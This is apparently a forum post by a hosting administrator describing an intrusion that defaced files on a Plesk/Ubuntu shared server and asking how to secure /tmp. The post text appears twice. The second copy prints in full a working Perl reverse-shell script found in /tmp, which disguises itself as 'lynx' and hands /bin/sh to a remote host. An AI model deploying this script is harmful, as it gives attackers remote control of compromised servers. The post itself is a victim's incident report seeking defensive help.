Facebook
TwitterOur Plesk 8.6 running on Ubuntu 8.04 LTS server that is patched with the latest security updates was hacked recently.
I suspect the hacker came in somewhere using HTTP and exploited excessive permissions.
The hacker trashed every file off /var/www/vhosts that belonged to www-data. For every file that had write permissions he overwrote the file with his signature and in the process breaking many of our shared hosting sites. This would have been absolutely terrible had we not had a proper backup file.
Although this could have been the work of a “script kiddie†I suspect it’s slightly more malicious because in the past hacks have not trashed files - the worst that happened was a backdoor was left on the server or file’s header were modified with signatures. I do suspect maybe intentional vandalism but it’s difficult to say because Googling the perpetrator it seems that he attacks random places.
We have been very lucky with Plesk 8.6 and Ubuntu 8.04 LTS 64-bit. But not this time around. For reference I include the HTML content that was overwritten on every single broken file:
We also found a process that read “exploit†in the PS list that we killed.
The content of the file in /tmp:
I don’t really understand the script but since there is a reference to lynx (which was installed on the server) I removed just in case.
My guess is this is the hacker’s methodology:
* Find an exploit on a shared server with write permissions
* Use the www-data user to dump a file in /tmp
* execute this file installing a backdoor to the server (how??)
* run a script on the backdoor overwriting clients’ files causing immense loss and frustration
I ran both rkhunter and chkrootkit and both came up empty.
I guess the question is how can I protect my shared Ubuntu LTS server that is supposed to be secure against this kind of thing happening in the future? Surely we can’t tell clients to not use write permission on files? /tmp seems to be a problem. Every single time a Ubuntu server has been hacked I found traces in there. How can I secure /tmp?
I suspect the hacker came in somewhere using HTTP and exploited excessive permissions.
The hacker trashed every file off /var/www/vhosts that belonged to www-data. For every file that had write permissions he overwrote the file with his signature and in the process breaking many of our shared hosting sites. This would have been absolutely terrible had we not had a proper backup file.
Although this could have been the work of a “script kiddie†I suspect it’s slightly more malicious because in the past hacks have not trashed files - the worst that happened was a backdoor was left on the server or file’s header were modified with signatures. I do suspect maybe intentional vandalism but it’s difficult to say because Googling the perpetrator it seems that he attacks random places.
We have been very lucky with Plesk 8.6 and Ubuntu 8.04 LTS 64-bit. But not this time around. For reference I include the HTML content that was overwritten on every single broken file:
We also found a process that read “exploit†in the PS list that we killed.
The content of the file in /tmp:
Code:
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);I don’t really understand the script but since there is a reference to lynx (which was installed on the server) I removed just in case.
My guess is this is the hacker’s methodology:
* Find an exploit on a shared server with write permissions
* Use the www-data user to dump a file in /tmp
* execute this file installing a backdoor to the server (how??)
* run a script on the backdoor overwriting clients’ files causing immense loss and frustration
I ran both rkhunter and chkrootkit and both came up empty.
I guess the question is how can I protect my shared Ubuntu LTS server that is supposed to be secure against this kind of thing happening in the future? Surely we can’t tell clients to not use write permission on files? /tmp seems to be a problem. Every single time a Ubuntu server has been hacked I found traces in there. How can I secure /tmp?